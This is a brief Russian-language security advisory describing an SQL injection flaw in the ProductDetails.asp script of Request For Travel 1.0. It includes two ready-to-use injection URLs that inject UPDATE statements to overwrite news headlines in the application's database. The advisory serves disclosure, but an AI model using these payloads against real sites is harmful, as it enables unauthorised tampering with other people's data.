Программа: Request For Travel 1.0

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных сценарием ProductDetails.asp. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Примеры:

-> Все заголовки новостей изменить на = "kro"

//ProductDetails.asp?from=desc&mod=region&CID=- 1&RID=-1&PID=-1;update%20gtsNews%20set%20NewsTitle=’kro’—

-> NewsId заголовок изменить на = "kro"

//ProductDetails.asp?from=desc&mod=region&CID=- 1&RID=-1&PID=-1;update%20gtsNews%20set%20NewsTitle=’kro’%20where%20NewsID=2—



Оставить мнение